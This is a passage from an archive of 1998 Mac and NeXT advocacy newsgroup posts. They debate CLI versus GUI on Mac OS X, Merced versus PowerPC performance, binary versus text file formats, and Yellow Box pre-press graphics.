trash. Same idea as the GUI, just applied to the CLI. Similarly, if you
renamed a file, the file's original name would be held in a buffer
somewhere and cleared out later that night, or something similar. A
manual flush could be performed, if the user liked.
You'd have to rewrite your tools to take advantage of this concept, but
having a universal 'undo' command that would call the appropriate
program in "reverse" would be pretty cool.
> It might be painfully slow and awkward to use, but it can be done.
I don't know how awkward it would be. I think this would be a pretty
cool project to investigate.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Fri, 11 Sep 1998 01:06:42 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35F8BDF2.62A819DE@nstar.net>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com> <6t7lkd$19n@news1.panix.com> <id_est-1009980135420001@192.168.1.3> <6t98k3$dfs$1@nnrp3.snfc21.pbi.net> <35F835F3.909C3E2A@ericsson.com> <heaney-1009982019280001@24.0.246.137> <35F87520.6EA871AE@nstar.net> <6ta4m3$rbf@news1.panix.com>
Mime-Version: 1.0
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NNTP-Posting-Date: 11 Sep 1998 06:08:30 GMT
Sal Denaro wrote:
> I have never had a user ask me for a CLI version of an App that was
> available in a GUI version, but I have gotten asked for GUI versions
> of CLI programs.
>
> I have _never_ had an end user ask me for a CLI App. I have _never_ had
> ab end user _ever_ ask me to show them how to use a CLI when a GUI version
> was available.
>
> As much as I think Apple should provide a CLI, I doubt that more than 1%
> of users will even care if it exists.
This reminds me of that "Deep Thoughts" that goes something like:
It really ticks me off when I go to all the trouble of having Marta make
a batch of drumsticks, and then the guy at MarineWorld says, "Dolphins
don't eat chicken". Of course they don't eat chicken if all you feed
them is fish! Man, wise up.
Humor aside, users have been taught to use GUIs, period. I don't think
anyone can say "CLIs are too hard for most users" or "Users don't want
CLIs", since nobody really knows whether or not this is true. Nobody
seems willing to give it a try. Everyone has an automatic answer.
MJP
From: "Steve" <nospam@nospam!.kom>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: 10 Sep 1998 21:25:38 GMT
Organization: The Ohio State University
Message-ID: <01bddd01$b8c70b40$a672fe8c@watts.67.acs.ohio-state.edu>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981043060001@news-proxy.cso.uiuc.edu>
Pulsar <pulsar@springnet1.com> wrote in article
<pulsar-ya02408000R1009981043060001@news-proxy.cso.uiuc.edu>...
>
> IBM and Motorola don't give a damn about market share. That's Apple's
> worry. IBM and Motorola care about volume. The more they sell the happier
> they are. The market share issue wouldn't be an issue for the Mac either
if
> it weren't for software.
>
????
Are you saying that is possible to have volume without market share? If
so, you are saying that if the PPC chip has a zero market share, it is
still possible to have a high volume. I don't follow this logic.
-Steve
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Fri, 11 Sep 1998 01:17:27 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35F8C077.89412FD4@nstar.net>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com> <6t7lkd$19n@news1.panix.com> <id_est-1009980135420001@192.168.1.3> <6t98k3$dfs$1@nnrp3.snfc21.pbi.net> <35F835F3.909C3E2A@ericsson.com> <heaney-1009982019280001@24.0.246.137> <gregorylo-1109980012560001@cpu2522.adsl.bellglobal.com> <heaney-1109980200220001@24.0.246.137>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 11 Sep 1998 06:19:19 GMT
John Heaney wrote:
> > >You expect them to then
> > >drop into a CLI interface occasionally to work more efficiently?
> >
> > No. I only expect some users (like me) to drop into a CLI occasionaly.
>
> So, is the bottom line that you just don't want to pay extra for it or
> make the extra effort to download it?
The conversation was about efficiency! How does it affect efficiency
that a Unix pro has to download, install, and configure a CLI, let alone
getting, compiling, possibly porting, installing, and single-handedly
supporting a basic set of functional tools? What if a co-worker asks for
help and I sit down at his machine and find I've got a terribly backward
interface to use and I can't reasonably get to a real environment? How
lame...this is why Unix people hate Windows and MacOS. It's not
necessarily the OS or the GUI; it's the lack of comprehensive tools.
You think it's so easy and simple to set up a CLI? Why do you think
there is so much competition between Linux distributions? Why are there
Linux distributions in the first place? The CLI tools matter, and so do
their configuration and organization. Having to do all of this oneself
is a huge pain in the keister. Being able to count on it being set up is
one of the big reasons Linux users love their systems.
Why do vendors bundle software of any kind in the first place, do you
think? Because people are too cheap and lazy?
> > Nobody is forcing anyone to abandon a GUI. That's what end users expect
> > and they drive sales. However, CLI-proponents are users too, and they
> > shouldn't be screwed over without good reason.
>
> CLI-proponents are, by and large, developers. I don't see how they're
> being screwed over by treating them as such.
And Yellow Box is, by and large, a development system. What is Apple
selling in MacOS X, anyway?
[cut]
MJP
Date: Thu, 10 Sep 1998 16:54:57 +0100
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Message-ID: <christian.bau-1009981654570001@christian-mac.isltd.insignia.com>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <keyes-ya02408000R1009980913380001@news> <01bddcc0$5d4b7620$7072fe8c@watts.67.acs.ohio-state.edu>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <01bddcc0$5d4b7620$7072fe8c@watts.67.acs.ohio-state.edu>,
"Steve" <nospam@nospam!.kom> wrote:
> I don't think that Merced can be called a "fiasco" yet. It's delayed of
> course, but nobody really knows how good it (and the following series of
> processors) will be when it/they finally come out.
> If it's as good as Intel and HP claim, the PPC will be blown away.
I havent heard any claims from Intel and HP, really, just a lot of
rumours. The rumours are always "Merced is fast enough to blow PPC away",
so if the rumours are true, PPC will be blown away.
Two years ago Merced was "fast enough to blow any existing PPC away", and
today that doesnt mean much, in two years it would be laughable. A few
months ago, it was again "fast enough to blow any existing PPC away". If
that is true, then PowerPCs will be extremly competitive and probably
faster when it comes out. Recently, I dont hear much about it at all.
> On the other hand, it could be a total failure.
It might be too big a piece of cake even for Intel. It is all very
strange. The instruction set is supposed to be designed to make the logic
in the chip simple. But then there are rumours about horrendous amounts of
transistors in it. Being x86 compatible doesnt help, I guess.
> My guess is it will be a good processor, but
> will take a number of years to realize its full potential. If it was only
> Intel working on IA-64, I might be a little more pessimistic. However, I
> think that HP's knowledge and expertise should be a big help
> (If you think
> the G3 has good performance considering its processor speed, check out the
> PA-RISC running at only 236 Mhz).
Or check IBMs Power2/Power3 chips.
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 11 Sep 1998 06:24:12 GMT
Organization: Idiom Communications
Message-ID: <6tafmc$q8k$3@news.idiom.com>
References: <slrn6v628v.jan.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B21882EA-3A2A@206.165.43.166>
<Eyz29G.8L0@T-FCN.Net> <gregorylo-0809982056350001@cpu2522.adsl.bellglobal.com>
<Ez0tuH.DuH@T-FCN.Net> <gregorylo-0909982313490001@cpu2522.adsl.bellglobal.com>
<6t9j56$f29$1@news.mxol.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: chuck@codefab.com
"Charles W. Swiger" may or may not have said:
-> gregorylo@sympatico.ca (Gregory Lo) wrote:
[snip]
-> >I have to disagree with that. You define the format, you can also read
-> >it. Apologies to those in the NeXT advocacy groups, but browsing around
-> >through resources in binary form with a resource editor and the
-> >appropriate template is fairly common thing for a mac programmer to do.
->
-> Evidently so. Fortunately, Yellow Box encourages better habits.
I wonder if the average Mac programmer realizes just how masterful a cut-down
this is?
Well said, Chuck.
-jcr
--
"Although UNIX is more reliable, NT may become more reliable with time"
- Ron Redman, deputy technical director of the Fleet Introduction
Division of the Aegis Program Executive Office, US Navy.
Where is the line between mere incompetence and actual treason? -jcr
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 10 Sep 98 14:45:25 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21D96A3-5F987@206.165.43.113>
References: <6t7h6v$hci2@odie.mcleod.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
I'm sorry that I've made Michelle so angry. I honestly do not think that we
have communicated very well in this thread. Perhaps we can try again?
Michelle L. Buck <buck.erik@mcleod.net> said:
>
>In the last week alone Mr. English has insinuated that I can not do
>arbitrary pixel by pixel color transformation on an image via Yellow Box
>APIs. He was wrong.
Said "as far as I know," GX color transformations couldn't be done in a
single pass on a bit-map (which allows for end-user-pleasing speed) using
the built-in YB API and perhaps not on vectors either, without multiple
passes (less important).
In fact, I thought that you at first indicated that YOU didn't know, either
but that you didn't care how many passes it took. I care. You don't...
He insinuated that I could not store arbitrary shapes
>that are editable as shapes by other people with other applications.
I was well aware of this capability with YB apps and said so (or should
have since it was pointed out to me over a year ago). I indicated that the
capability to do this was severely limited in the standard *PDF* format
that Apple *appears* to be embracing, not that YB couldn't do it. I just
asked if a standard couldn't be set to allow YB-based pre-press to do what
GX printing did.
He was
>wrong.
He insinuated that I could not store style objects that are shared
>by other objects. He was wrong.
Not in PDF. Merely asked if a good YB pre-press strategy could be devised
to reimplement a GX-like pre-press strategy that everyone could use. You
suggested XML.
He insinuated that I could not edit text
>along a path. He was wrong.
Now THAT, Maury corrected me about months ago by doing it. However, it
wasn't done using DPS directly, but by using info stored in the Yellow Box
graphics objects, which is what I had originally expressed concerns about.
Now that DPS has gone away, it should be obvious to EVERYONE that it wasn't
DPS that was doing it, but the Yellow Box API. In fact, I've been told by
Those Who Should Know that there is durned little hit-testing based
directly on DPS that takes place in the Yellow Box API in Rhapsody and that
it has been done using internal NeXT data and NeXT manipulation of that
data for many years, if not since the beginning of NeXT.
He insinuated that I could not create and
>store editable 2 1/2 D skewed to look like perspective text. He was
wrong.
Really? Got this working? Cool. Uses all the NSText formatting abilities, I
assume. Now, convince Apple to make this technique available to everyone,
so that it can be part of the proposed YB pre-press strategy, rather than a
roll-your-own solution that no-one else can use unless they've dealt with
you personally or reinvented your wheel.
K2 does it. ANY YB (or Carbon, for that matter) app should be able to do it
AND manipulate it during pre-press.
>He insinuated that I could not store NURBs, and he was wrong.
WHAT? I merely asked whether or not the NSBezier class was the appropriate
class to subclass to define a NURBS class.
BTW, is it NURB or NURBS? I've seen it both ways.
He
>insinuated
>that I could not perform hit detection of arbitrary shapes. He was wrong.
I asked if your own shape class could hit-test the pattern applied to a
path, rather than the path itself. You replied that it wasn't implemented
that way but certainly could be.
>He complained that alpha channel transparency as defined by Apple and Tiff
>was insufficient. He was wrong.
I explained (briefly) that there are other transfer modes that could be
characterized by the term "non-opaque" that are not "transparent" (i.e.
controlled by an alpha channel) but still use the value of both the source
and destination pixels when determining the resulting color, such as those
defined by XOR and other logical operations, as well as arithmetic
operations applied to each color channel.
I expressed some doubt as to whether or not the color control currently
provided by 'enhanced QuickDraw' (being based on the PDF model) would be
able to duplicate the full GX color abilities, at least as applied to a
bitmap, because GX's color model allows separate color space transforms to
be applied to the source, destination and result pixels using a separate
transform/composite mode applied to each color channel. This allows a
bitmap shape to have rather complex color transforms applied to it in a
single pass through the bitmap, which allows for fast changes in the
appearance of bitmaps.
Fast is good. Single-pass manipulation of pixels is faster than
multiple-pass manipulation when dealing with one-pixel-at-a-time. Takes
less memory. Less filling. Looks better. Tastes better. Etc.
I even suggested that the Yellow Box graphics capabilities could easily be
enhanced to cover not only the GX capabilty, but ANY arbitrary transform of
this type by defining a simple per-pixel (per shape/text-style) 3-stage
pipeline that would optionally provide access to the source, destination
and result (composite) pixels for simple per-pixel (shape/text-style)
filters.
That way, one could not only apply static color transform matrices ala GX's
to a given pixel in a given bitmap, but one could apply algorithmic
transforms as well, something that GX could never handle because it was a
structured API and not available as a class library.
He claimed that pre-press processing of
>data files to accomplish tasks like adding and removing water marks is not
>possible. He was wrong. He claimed that I have not been doing these
thing
>since 1988/1989. He was wrong.
I claimed that *PDF* doesn't handle the simple case of replacing an opaque
watermark underneath an image with the same watermark with 30% transparency
*on top of* the image. I believe that a YB pre-press solution should
provide for this since features are good and end-users like lots of
features, especially those that they might find useful. I'm sure that it is
easy to do using a YB-based solution, but the question is one of *defining*
how to do it so that everyone CAN do it.
I never said ANYTHING about what you had been doing with watermarks. I was
commenting on the limits of PDF/PSE Extreme.
>
>Mr.. English has not even tried the technology he is deriding. He does
not
>know what he is talking about.
The GX pre-press model was met with much enthusiasm when it was first
announced by Apple. The capabilities that I've described that GX does that
PDF doesn't do should be easy to implement using the Yellow Box. The fact
that these strategies were never used by most people is primarily due to
two things:
1) Adobe never embraced them;
2) they weren't cross-platform (Adobe's stated reason for never using
them).
Now that the Yellow Box IS cross-platform, it should be possible to make
them available for any Yellow Box DTP app.
For Yellow Box apps, the pre-press pipeline could look like this:
YB app => YB pre-press => PDF
or
YB app => PDF
For non-YB apps, the pre-press pipeline would look like this:
non-YB app => PDF
If the proposed YB pre-press solution offers far more useful capabilities
than PDF is capable of providing, it seems to me that most pre-press people
would prefer to use Yellow Box apps to take advantage of the capabilities
that are only available by using YB apps.
Don't you agree?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Steve" <nospam@nospam!.kom>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: 10 Sep 1998 21:46:09 GMT
Organization: The Ohio State University
Message-ID: <01bddd04$96242200$a672fe8c@watts.67.acs.ohio-state.edu>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <keyes-ya02408000R1009980913380001@news> <01bddcc0$5d4b7620$7072fe8c@watts.67.acs.ohio-state.edu> <joe.ragosta-1009981016020001@wil49.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote in article
<joe.ragosta-1009981016020001@wil49.dol.net>...
>
> I don't know about that. It [Merced] was originally scheduled for 1999.
Then 2000.
> Now, InfoWorld says that the first version that will be any good will be
> 2001.
And that is just informed speculation on InfoWorld's part. There are all
sorts of predictions about Merced (anywhere from out in mid-1999 to never
released at all, in favor of the second generation McKinley processor due
in 2001 (maybe)). Nobody will know until it's actually released.
> Not true. The rumored performance of the Merced chip isn't that far ahead
> of the Power3 chip set. Given the things that are planned for PPC, it's
> pretty hard to reach that conclusion.
Again, it depends on who you read and what the context is. Rumored
performance numbers I have seen range from about G3 performance (at
equivalent clock rates) to 4 times G3 performance when you take optomized
EPIC architecture into consideration. Nobody really knows what it's
performance will be when it is released and what it's ultimate performance
potential is compared with RISC chips such as the PPC.
> BTW, will SPEC take advantage of AltiVec?
I'm not sure, but probably so, *if* support is included in the compiler.
However, my take on AltiVec is that it won't be very successful. This is
not because it isn't technically superior, but because IBM has said they
won't support it. Mac users will have a choice: Motorola processors that
have lower clock speeds but AltiVec support for certain
applications/processes, or IBM copper chips with higher clock speeds that
improve the speed of all applications/processes but do not include AltiVec.
-Steve
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 10 Sep 98 14:53:11 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21D985A-660C0@206.165.43.113>
References: <Ez2p40.BF6@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
In <gregorylo-0909982313490001@cpu2522.adsl.bellglobal.com> Gregory Lo
wrote:
>> lexer, that's what happens). Then you're still stuck with some [possibly
>> multi-byte] string comparisons (easy for humans, takes a little longer
for
>> the computer than if it had to compare small integers).
>
> Ahhh, this is a performance issue. I'll agree with you completely
there,
>it does take more time to parse a text file than a binary file.
That's what I meant. However, for pre-press manipulation, this shouldn't be
an issue. However, the proposed standard way to transfer an image via the
clipboard is via a PDF file, which we've already agreed isn't the best
format. Is there a binary version of XML? I scanned the docs yesterday but
didn't notice any. It would be best to keep the same image format for both
clipboard and pre-press, I think.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 10 Sep 1998 22:02:58 GMT
Organization: Primenet (602)416-7000
Message-ID: <6t9iai$5oh$1@nnrp03.primenet.com>
References: <heaney-0509981648590001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com>
<heaney-0809982244000001@24.0.246.137> <6t68ia$b2c$1@nnrp03.primenet.com> <heaney-0909981627150001@24.0.246.137> <6t76bj$hrb$1@nnrp03.primenet.com> <6t77jj$6rq$1@nnrp3.snfc21.pbi.net> <6t8nsa$ij$1@nnrp03.primenet.com> <6t97qg$ag3$1@nnrp3.snfc21.pbi.net>
William Edward Woody <woody@alumni.caltech.edu> wrote:
: However, I would like to see the CLI 'depreciated'--that is, I'd like
: to see developers actively discouraged from not providing a GUI for
: their applications.
I don't think this is a problem. The market is educated and demands GUI
solutions for end-user software. You'd be hard-pressed to find a CLI
based app at Fry's or Microcenter.
John
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: Thu, 10 Sep 1998 17:04:54 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F84D06.2B9120A3@ericsson.com>
References: <6t7h6v$hci2@odie.mcleod.net> <B21D96A3-5F987@206.165.43.113>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Lawson English wrote:
[cut]
> BTW, is it NURB or NURBS? I've seen it both ways.
NURBS: Non-uniform Rational B-Spline. The 'S' is part of the acronym.
MJP
From: "Steve" <nospam@nospam!.kom>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: 10 Sep 1998 22:11:27 GMT
Organization: The Ohio State University
Message-ID: <01bddd08$1f277b80$a672fe8c@watts.67.acs.ohio-state.edu>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <keyes-ya02408000R1009980913380001@news> <01bddcc0$5d4b7620$7072fe8c@watts.67.acs.ohio-state.edu> <christian.bau-1009981654570001@christian-mac.isltd.insignia.com>
Christian Bau <christian.bau@isltd.insignia.com> wrote in article
<christian.bau-1009981654570001@christian-mac.isltd.insignia.com>...
>
> It might be too big a piece of cake even for Intel. It is all very
> strange. The instruction set is supposed to be designed to make the logic
> in the chip simple. But then there are rumours about horrendous amounts
of
> transistors in it. Being x86 compatible doesnt help, I guess.
>
It's not X86 or HP-UX compatibility that is the problem. The problem is
that EPIC architecture is completely new and untested and that compiler
issues are a major problem. EPIC, like VLIW relies heavily on compilers to
to optimize applications, and this has been the major problem with VLIW
historically.
-Steve
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 10 Sep 1998 22:17:10 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6t9j56$f29$1@news.mxol.com>
References: <slrn6v628v.jan.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B21882EA-3A2A@206.165.43.166> <Eyz29G.8L0@T-FCN.Net> <gregorylo-0809982056350001@cpu2522.adsl.bellglobal.com> <Ez0tuH.DuH@T-FCN.Net> <gregorylo-0909982313490001@cpu2522.adsl.bellglobal.com>
gregorylo@sympatico.ca (Gregory Lo) wrote:
[ ... ]
>>> I think the original poster (for this sub-thread) asserts that a binary
>>> file is more efficient. Less "stuff" byte-wise to read and parse before
>>> you've extracted your content, which you probably store in a non-text form
>>> in memory anyway. Less space taken up on disk. Less work for the
>>> programmer to implement.
>>
>> WHOA! That last sentance is almost CERTAINLY wrong! Notably when it comes
>>time to debug it!
>
>I have to disagree with that. You define the format, you can also read
>it. Apologies to those in the NeXT advocacy groups, but browsing around
>through resources in binary form with a resource editor and the
>appropriate template is fairly common thing for a mac programmer to do.
Evidently so. Fortunately, Yellow Box encourages better habits.
For example, it is easier to localize an application for a new language by using ResEdit, or
by adding string entries to a text file in a .lproj?
Is it easier to generate and modify test data in the property list format or in binary? Heck,
most developers don't manage to create binary formats capable of dealing with arbitrarily
nested free-form data....
>>> It's a tradeoff between what's easy for the "user" (it's easier for humans
>>> to go in and modify/ a human-readable text file), and what's easier/more
>>> efficent for the implementor.
>>
>> Indeed, and text files are almost always easier to implement.
>
>Okay. I certainly wouldn't have any problem going either way with this.
>But, my own preference (default approach might be a better word) would be
>to define what structures I need in memory and then write the same memory
>image to disk or read it directly from disk into memory. That's great for
>simple structures. For more complicated structures, any variety of
>methods will do - whatever you prefer.
That does have the advantage of simplicity and conserves space. It has the major disadvantage
of not being human-editable. Also, extending a binary format and maintaining backwards
compatibility is work, and maintaining _upwards_ compatibility is so tough to do that most
programs can't do so.
However, I believe that a properly extensible file format can be done if you make the effort,
and that something like Word 5.0 _should_ have been able to read almost all of a Word 6.0 or
Word 97 document. All of the upwardly compatible protocols I can think of off-hand are
human-readable text based-- things like HTTP, (E)SMTP, HTML.
[ ... ]
>Two things are obvious. First, neither approach ends up being more or
>less work for a programmer, because you can wrap either method of
>extracting a token, I mean tag, from your data into a black box-like
>library function. Second, there is a difference in complexity between
>order N for the text-based approach (where N is size), and order k for the
>binary approach (where k is a constant).
The complexity of using property lists under Yellow Box is not O(N), where N is size.
>Okay, two more examples: HTML documents, and binary graphics file
>formats. It's incredibly easy for a human to write HTML documents or read
>and parse arbitrary HTML documents.
Normal people ("non-computer types") do not regard arbitrary HTML documents as incredibly easy
to write or parse. Heck, I've been working with the web and doing some HTML since around the
time of the HTML 1 -> 2 transition and while I can deal with the raw representation of tables,
frames, and the like...it's _not_ trivial.
> But, writing a good HTML editor (that isn't merely a text editor) takes a bit of
> effort.
Agreed.
> And, it's possible to represent a complex graphic image (say a digitized
> photograph of a complex scene) with a very descriptive text-based format, but man,
> those things are big!
Take a look at Jef Pozanker's PGM/PPM stuff.
> To edit those graphic images, one usually uses a specially
> written editor that manipulates, blits, and performs arithmetic operations
> on the binary images.
Ditto.
-Chuck
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 10 Sep 98 15:23:34 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21D9F7C-80DC8@206.165.43.113>
References: <slrn6vg9di.2g2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> said:
>My "bozometer" goes up everytime an ex-NeXT person leaves (and goes
>down every time an ex-Amelio-regime person leaves). If Tevanian goes,
>then I'm outta here.
>
Now THAT has GOT to be the epitome of NeXT bigotry.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Fri, 11 Sep 1998 11:10:42 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F94B82.BF895AAE@ericsson.com>
References: <heaney-0509981648590001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com><heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <6t68ia$b2c$1@nnrp03.primenet.com> <heaney-0909981627150001@24.0.246.137> <6t76bj$hrb$1@nnrp03.primenet.com><6t77jj$6rq$1@nnrp3.snfc21.pbi.net> <6t8nsa$ij$1@nnrp03.primenet.com> <6t97qg$ag3$1@nnrp3.snfc21.pbi.net>
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William Edward Woody wrote:
> However, I would like to see the CLI 'depreciated'--that is, I'd like
> to see developers actively discouraged from not providing a GUI for
> their applications. Not by any architectual modification (let's be
> real: leave out a shell from the OS, and as soon as MacOS X Server
> hits the shelves you'll see six Unix shells on the InfoMac archives),
> but through actively discouraging developers through tech notes and
> other mechanisms.
Would you depreciate AppleScripts, too, then? If I'm not mistaken, there
is a whole section for AppleScripts on Info-Mac. Downloadable software,
initiated with a click, used and often created by common users.
HyperCard stacks: used and often created by common users.
It's worth noting that Tcl/Tk was written by John Ousterhout for the
express purpose of creating a system that resembled HyperCard in many
aspects.
MJP
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 10 Sep 1998 22:26:45 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6t9jn5$f29$2@news.mxol.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <SCOTT.98Sep6224159@slave.doubleu.com> <6t21ge$ktq$1@nnrp1.dejanews.com> <6t6ona$boq$4@news.mxol.com> <SCOTT.98Sep9161733@slave.doubleu.com>
scott@nospam.doubleu.com (Scott Hess) wrote:
>In article <6t6ona$boq$4@news.mxol.com>,
> "Charles W. Swiger" <chuck@codefab.com> writes:
> Enabling multithreading roughly doubles this overhead again for
> just the locking over the critical section of the method dispatch
> (ie, a lock over the Obj-C runtime structures).
>
